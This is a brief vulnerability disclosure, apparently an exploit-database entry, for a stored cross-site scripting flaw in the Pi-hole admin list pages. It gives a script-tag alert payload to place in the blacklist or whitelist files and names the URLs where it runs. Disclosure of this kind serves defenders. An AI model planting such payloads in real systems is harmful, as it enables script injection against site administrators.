    # Software description:
    # The Pi-hole is an advertising-aware DNS/Web server. If an ad domain is queried,
    # a small Web page or GIF is delivered in place of the advertisement.
    # You can also replace ads with any image you want since it is just a simple
    # Webpage taking place of the ads.
    
    # Note: Not much of a vulnerability, implies you already have access
    # to the box to begin with. Still best to use good coding practices,
    # and avoid such things.
    
    # Vulnerability PoC: Stored XSS
    # Insert this:
    # <script>alert('This happens...');</script>
    # In either /etc/pihole/blacklist.txt || /etc/pihole/whitelist.txt

    # http://pi-hole-server/admin/list.php?l=white
    # or
    # http://pi-hole-server/admin/list.php?l=black
